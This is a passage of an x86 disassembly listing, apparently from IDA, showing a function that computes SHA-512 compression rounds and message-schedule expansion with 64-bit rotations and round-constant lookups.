[esp+170h+var_144], edx mov edx, [esp+170h+var_13C] mov ebx, ecx mov ebp, edx shrd ebx, ebp, 1Ch xor edi, edi or edi, ebx mov esi, ecx mov ebx, edx shld edx, ecx, 1Eh shr ebp, 1Ch shl esi, 4 or esi, ebp shr ebx, 2 shl ecx, 1Eh xor ebp, ebp or ebx, ecx mov [esp+170h+var_128], eax or ebp, edx mov ecx, [esp+170h+var_13C] xor esi, ebp mov ebp, [esp+170h+var_140] mov edx, ecx shld ecx, ebp, 19h xor edi, ebx shr edx, 7 xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_98] and ecx, [esp+170h+var_140] shl ebp, 19h xor ecx, [esp+170h+var_90] or edx, ebp xor edi, edx mov edx, [esp+170h+var_94] and edx, [esp+170h+var_13C] xor esi, ebx xor edx, [esp+170h+var_8C] add edi, ecx adc esi, edx add [esp+170h+var_148], edi adc [esp+170h+var_144], esi cmp [esp+170h+var_15C], 0 jz loc_4063CD mov eax, [esp+170h+var_A8] mov ecx, [esp+170h+var_A4] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_A4] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_118] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_114] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_118] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_114] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor edi, eax mov eax, [esp+170h+arg_0] xor esi, ecx mov ecx, [esp+170h+var_160] add ecx, edi adc edx, esi add ecx, [esp+170h+var_D8] adc edx, [esp+170h+var_D4] add ecx, [esp+170h+var_E0] adc edx, [esp+170h+var_DC] mov [eax+80h], ecx mov [eax+84h], edx mov eax, edx mov [esp+170h+var_D4], eax mov [esp+170h+var_14], eax mov eax, [esp+170h+var_128] mov [esp+170h+var_D8], ecx mov [esp+170h+var_18], ecx jmp short loc_4063E9 ; --------------------------------------------------------------------------- loc_4063CD: ; CODE XREF: sub_405390+F41j mov edx, [esp+170h+var_D8] mov ecx, [esp+170h+var_D4] mov [esp+170h+var_18], edx mov [esp+170h+var_14], ecx loc_4063E9: ; CODE XREF: sub_405390+103Bj mov ecx, [esp+170h+var_124] mov ebx, ecx xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_124] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_120] xor esi, ecx mov ecx, [esp+170h+var_124] and ebp, eax mov edi, eax mov eax, [esp+170h+var_11C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_14C] not ebx and ebx, [esp+170h+var_154] not edi and edi, [esp+170h+var_158] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_420670[eax*8] adc esi, ds:dword_420674[eax*8] add edx, [esp+170h+var_18] mov eax, [esp+170h+var_150] adc esi, [esp+170h+var_14] add eax, edx adc ecx, esi add [esp+170h+var_130], eax mov [esp+170h+var_14C], ecx mov [esp+170h+var_150], eax adc [esp+170h+var_12C], ecx mov eax, [esp+170h+var_144] mov ecx, [esp+170h+var_148] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_148] mov ebp, eax shld ebp, ebx, 19h xor edx, edx or edx, ebp mov ebp, [esp+170h+var_13C] xor ebp, [esp+170h+var_134] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_140] xor edi, ecx mov ecx, [esp+170h+var_138] and ebp, eax mov eax, [esp+170h+var_13C] and eax, [esp+170h+var_134] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_148] and edx, ecx xor ebx, edx xor ebp, eax add edi, ebx adc esi, ebp add [esp+170h+var_150], edi adc [esp+170h+var_14C], esi cmp [esp+170h+var_15C], 0 jz loc_406611 mov eax, [esp+170h+var_C8] mov ecx, [esp+170h+var_C4] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_C4] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_D0] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_CC] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_D0] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_CC] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_118] adc edx, [esp+170h+var_114] add ecx, [esp+170h+var_100] adc edx, [esp+170h+var_FC] mov [eax+88h], ecx mov [eax+8Ch], edx mov eax, edx mov [esp+170h+var_118], ecx mov [esp+170h+var_114], eax mov [esp+170h+var_48], ecx jmp short loc_406620 ; --------------------------------------------------------------------------- loc_406611: ; CODE XREF: sub_405390+1196j mov edx, [esp+170h+var_118] mov eax, [esp+170h+var_114] mov [esp+170h+var_48], edx loc_406620: ; CODE XREF: sub_405390+127Fj mov ecx, [esp+170h+var_12C] mov ebx, ecx mov [esp+170h+var_44], eax mov eax, [esp+170h+var_130] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_12C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_128] xor esi, ecx mov ecx, [esp+170h+var_12C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_124] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_154] not ebx and ebx, [esp+170h+var_11C] not edi and edi, [esp+170h+var_120] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_420678[eax*8] adc esi, ds:dword_42067C[eax*8] add edx, [esp+170h+var_48] mov eax, [esp+170h+var_158] adc esi, [esp+170h+var_44] add eax, edx adc ecx, esi add [esp+170h+var_138], eax mov [esp+170h+var_154], ecx mov [esp+170h+var_158], eax adc [esp+170h+var_134], ecx mov ecx, [esp+170h+var_150] mov eax, [esp+170h+var_14C] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx mov ebp, eax shld ebp, ecx, 1Eh xor edi, edi or edi, edx shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shr edx, 2 shl ecx, 1Eh xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ebx, [esp+170h+var_150] mov ebp, eax shld ebp, ebx, 19h shl ebx, 19h mov ecx, eax shr ecx, 7 or ecx, ebx xor edx, edx or edx, ebp xor edi, ecx mov ecx, [esp+170h+var_150] xor esi, edx mov edx, [esp+170h+var_140] mov ebx, ecx xor ebx, edx and ebx, [esp+170h+var_148] mov ebp, eax xor ebp, [esp+170h+var_13C] and eax, [esp+170h+var_13C] and ebp, [esp+170h+var_144] and ecx, edx xor ebx, ecx xor ebp, eax add edi, ebx adc esi, ebp add [esp+170h+var_158], edi adc [esp+170h+var_154], esi cmp [esp+170h+var_15C], 0 jz loc_40685B mov eax, [esp+170h+var_D8] mov ecx, [esp+170h+var_D4] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_D4] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_F0] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_EC] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_F0] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_EC] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_C8] adc edx, [esp+170h+var_C4] add ecx, [esp+170h+var_110] adc edx, [esp+170h+var_10C] mov [eax+90h], ecx mov [eax+94h], edx mov eax, edx mov [esp+170h+var_C8], ecx mov [esp+170h+var_C4], eax mov [esp+170h+var_80], ecx jmp short loc_406870 ; --------------------------------------------------------------------------- loc_40685B: ; CODE XREF: sub_405390+13D4j mov edx, [esp+170h+var_C8] mov eax, [esp+170h+var_C4] mov [esp+170h+var_80], edx loc_406870: ; CODE XREF: sub_405390+14C9j mov ecx, [esp+170h+var_134] mov ebx, ecx mov [esp+170h+var_7C], eax mov eax, [esp+170h+var_138] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_134] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_130] xor esi, ecx mov ecx, [esp+170h+var_134] and ebp, eax mov edi, eax mov eax, [esp+170h+var_12C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_11C] not ebx and ebx, [esp+170h+var_124] not edi and edi, [esp+170h+var_128] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_420680[eax*8] adc esi, ds:dword_420684[eax*8] add edx, [esp+170h+var_80] mov eax, [esp+170h+var_120] adc esi, [esp+170h+var_7C] add eax, edx adc ecx, esi add [esp+170h+var_140], eax mov [esp+170h+var_11C], ecx mov [esp+170h+var_120], eax adc [esp+170h+var_13C], ecx mov ecx, [esp+170h+var_158] mov eax, [esp+170h+var_154] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx mov ebp, eax shld ebp, ecx, 1Eh xor edi, edi or edi, edx shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shr edx, 2 shl ecx, 1Eh xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ebx, [esp+170h+var_158] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_14C] shl ebx, 19h xor esi, edx mov edx, [esp+170h+var_150] mov ecx, eax shr ecx, 7 or ecx, ebx xor edi, ecx mov ecx, [esp+170h+var_158] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_148] and edx, ecx mov ecx, [esp+170h+var_14C] xor ebp, eax and ebp, [esp+170h+var_144] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_120], edi adc [esp+170h+var_11C], esi cmp [esp+170h+var_15C], 0 jz loc_406AA1 mov eax, [esp+170h+var_E8] mov ecx, [esp+170h+var_E4] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_E4] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_118] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_114] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_118] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_114] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_108] adc edx, [esp+170h+var_104] add ecx, [esp+170h+var_F0] adc edx, [esp+170h+var_EC] mov [eax+98h], ecx mov [eax+9Ch], edx mov eax, edx mov [esp+170h+var_F0], ecx mov [esp+170h+var_EC], eax mov [esp+170h+var_78], ecx jmp short loc_406AB6 ; --------------------------------------------------------------------------- loc_406AA1: ; CODE XREF: sub_405390+1626j mov edx, [esp+170h+var_F0] mov eax, [esp+170h+var_EC] mov [esp+170h+var_78], edx loc_406AB6: ; CODE XREF: sub_405390+170Fj mov ecx, [esp+170h+var_13C] mov ebx, ecx mov [esp+170h+var_74], eax mov eax, [esp+170h+var_140] mov edx, ecx xor esi, esi shr edx, 9 mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h or edx, edi xor ebx, ebx mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_13C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi xor edi, edi mov ebx, eax shrd ebx, ebp, 0Eh or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp xor esi, ecx mov ecx, [esp+170h+var_13C] mov ebx, ecx and ecx, [esp+170h+var_134] mov edi, eax and eax, [esp+170h+var_138] not ebx and ebx, [esp+170h+var_12C] not edi and edi, [esp+170h+var_130] xor ebx, ecx mov ecx, [esp+170h+var_124] xor edi, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_420688[eax*8] adc esi, ds:dword_42068C[eax*8] add edx, [esp+170h+var_78] mov eax, [esp+170h+var_128] adc esi, [esp+170h+var_74] add eax, edx adc ecx, esi add [esp+170h+var_148], eax mov [esp+170h+var_124], ecx mov [esp+170h+var_128], eax adc [esp+170h+var_144], ecx mov eax, [esp+170h+var_11C] mov ecx, [esp+170h+var_120] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_120] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_154] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_158] xor edi, ecx mov ecx, [esp+170h+var_120] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_150] and edx, ecx mov ecx, [esp+170h+var_154] xor ebp, eax and ebp, [esp+170h+var_14C] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_128], edi adc [esp+170h+var_124], esi cmp [esp+170h+var_15C], 0 jz loc_406CE9 mov eax, [esp+170h+var_C8] mov ecx, [esp+170h+var_C4] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_C4] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_F8] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_F4] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_F8] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_F4] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_B8] adc edx, [esp+170h+var_B4] add ecx, [esp+170h+var_E8] adc edx, [esp+170h+var_E4] mov [eax+0A0h], ecx mov [eax+0A4h], edx mov eax, edx mov [esp+170h+var_E8], ecx mov [esp+170h+var_E4], eax mov [esp+170h+var_68], ecx jmp short loc_406CFE ; --------------------------------------------------------------------------- loc_406CE9: ; CODE XREF: sub_405390+1868j mov edx, [esp+170h+var_E8] mov eax, [esp+170h+var_E4] mov [esp+170h+var_68], edx loc_406CFE: ; CODE XREF: sub_405390+1957j mov ecx, [esp+170h+var_144] mov ebx, ecx mov [esp+170h+var_64], eax mov eax, [esp+170h+var_148] mov edx, ecx xor esi, esi shr edx, 9 mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h or edx, edi xor ebx, ebx mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_144] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi xor edi, edi mov ebx, eax shrd ebx, ebp, 0Eh or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp xor esi, ecx mov ecx, [esp+170h+var_144] mov ebx, ecx and ecx, [esp+170h+var_13C] mov edi, eax and eax, [esp+170h+var_140] not ebx and ebx, [esp+170h+var_134] not edi and edi, [esp+170h+var_138] xor ebx, ecx mov ecx, [esp+170h+var_12C] xor edi, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_420690[eax*8] adc esi, ds:dword_420694[eax*8] add edx, [esp+170h+var_68] mov eax, [esp+170h+var_130] adc esi, [esp+170h+var_64] add eax, edx adc ecx, esi add [esp+170h+var_150], eax mov [esp+170h+var_12C], ecx mov [esp+170h+var_130], eax adc [esp+170h+var_14C], ecx mov eax, [esp+170h+var_124] mov ecx, [esp+170h+var_128] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_128] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_11C] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_120] xor edi, ecx mov ecx, [esp+170h+var_128] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_158] and edx, ecx mov ecx, [esp+170h+var_11C] xor ebp, eax and ebp, [esp+170h+var_154] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_130], edi adc [esp+170h+var_12C], esi cmp [esp+170h+var_15C], 0 jz loc_406F31 mov eax, [esp+170h+var_B0] mov ecx, [esp+170h+var_AC] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_AC] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_F0] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_EC] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_F0] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_EC] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_A8] adc edx, [esp+170h+var_A4] add ecx, [esp+170h+var_F8] adc edx, [esp+170h+var_F4] mov [eax+0A8h], ecx mov [eax+0ACh], edx mov eax, edx mov [esp+170h+var_F8], ecx mov [esp+170h+var_F4], eax mov [esp+170h+var_50], ecx jmp short loc_406F40 ; --------------------------------------------------------------------------- loc_406F31: ; CODE XREF: sub_405390+1AB0j mov edx, [esp+170h+var_F8] mov eax, [esp+170h+var_F4] mov [esp+170h+var_50], edx loc_406F40: ; CODE XREF: sub_405390+1B9Fj mov ecx, [esp+170h+var_14C] mov ebx, ecx mov [esp+170h+var_4C], eax mov eax, [esp+170h+var_150] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_14C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_148] xor esi, ecx mov ecx, [esp+170h+var_14C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_144] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_134] not ebx and ebx, [esp+170h+var_13C] not edi and edi, [esp+170h+var_140] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_420698[eax*8] adc esi, ds:dword_42069C[eax*8] add edx, [esp+170h+var_50] mov eax, [esp+170h+var_138] adc esi, [esp+170h+var_4C] add eax, edx adc ecx, esi add [esp+170h+var_158], eax mov [esp+170h+var_134], ecx mov [esp+170h+var_138], eax adc [esp+170h+var_154], ecx mov ecx, [esp+170h+var_130] mov eax, [esp+170h+var_12C] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx mov ebp, eax shld ebp, ecx, 1Eh xor edi, edi or edi, edx shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shr edx, 2 shl ecx, 1Eh xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ebx, [esp+170h+var_130] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_124] shl ebx, 19h xor esi, edx mov edx, [esp+170h+var_128] mov ecx, eax shr ecx, 7 or ecx, ebx xor edi, ecx mov ecx, [esp+170h+var_130] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_120] and edx, ecx mov ecx, [esp+170h+var_124] xor ebp, eax and ebp, [esp+170h+var_11C] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_138], edi adc [esp+170h+var_134], esi cmp [esp+170h+var_15C], 0 jz loc_407183 mov eax, [esp+170h+var_C0] mov ecx, [esp+170h+var_BC] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_BC] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_E8] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_E4] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_E8] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_E4] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_D0] adc edx, [esp+170h+var_CC] add ecx, [esp+170h+var_B0] adc edx, [esp+170h+var_AC] mov [eax+0B0h], ecx mov [eax+0B4h], edx mov eax, edx mov [esp+170h+var_B0], ecx mov [esp+170h+var_AC], eax mov [esp+170h+var_40], ecx jmp short loc_407198 ; --------------------------------------------------------------------------- loc_407183: ; CODE XREF: sub_405390+1CF6j mov edx, [esp+170h+var_B0] mov eax, [esp+170h+var_AC] mov [esp+170h+var_40], edx loc_407198: ; CODE XREF: sub_405390+1DF1j mov ecx, [esp+170h+var_154] mov [esp+170h+var_3C], eax mov eax, [esp+170h+var_158] mov ebx, ecx xor esi, esi mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h mov edx, ecx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h xor ebx, ebx or ebx, ebp mov ebp, [esp+170h+var_154] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi mov ecx, eax shl ecx, 12h shr ebp, 0Eh or ecx, ebp mov ebp, [esp+170h+var_150] xor esi, ecx mov ecx, [esp+170h+var_154] and ebp, eax mov edi, eax mov eax, [esp+170h+var_14C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_13C] not edi and edi, [esp+170h+var_148] not ebx and ebx, [esp+170h+var_144] xor edi, ebp xor ebx, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_4206A0[eax*8] mov edi, [esp+170h+var_12C] adc esi, ds:dword_4206A4[eax*8] add edx, [esp+170h+var_40] mov eax, [esp+170h+var_140] adc esi, [esp+170h+var_3C] add eax, edx adc ecx, esi add [esp+170h+var_120], eax mov esi, [esp+170h+var_130] mov [esp+170h+var_140], eax adc [esp+170h+var_11C], ecx mov [esp+170h+var_13C], ecx mov ecx, [esp+170h+var_138] mov eax, esi xor eax, ecx mov [esp+170h+var_98], eax mov eax, [esp+170h+var_134] mov edx, edi xor edx, eax mov [esp+170h+var_94], edx mov edx, esi and edx, ecx mov [esp+170h+var_90], edx mov edx, edi and edx, eax mov [esp+170h+var_8C], edx mov edx, ecx xor esi, esi shl edx, 4 mov edi, ecx mov ebx, eax shrd edi, ebx, 1Ch shr ebx, 1Ch or edx, ebx or esi, edi mov ebp, eax shld ebp, ecx, 1Eh xor ebx, ebx shl ecx, 1Eh or ebx, ebp mov edi, eax xor edx, ebx mov ebx, [esp+170h+var_138] shr edi, 2 or edi, ecx mov ecx, eax shld eax, ebx, 19h xor esi, edi shr ecx, 7 xor edi, edi or edi, eax mov eax, [esp+170h+var_98] and eax, [esp+170h+var_128] shl ebx, 19h xor eax, [esp+170h+var_90] or ecx, ebx xor esi, ecx mov ecx, [esp+170h+var_94] and ecx, [esp+170h+var_124] xor edx, edi xor ecx, [esp+170h+var_8C] add esi, eax adc edx, ecx add [esp+170h+var_140], esi adc [esp+170h+var_13C], edx cmp [esp+170h+var_15C], 0 jz loc_4073FF mov eax, [esp+170h+var_A0] mov ecx, [esp+170h+var_9C] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax 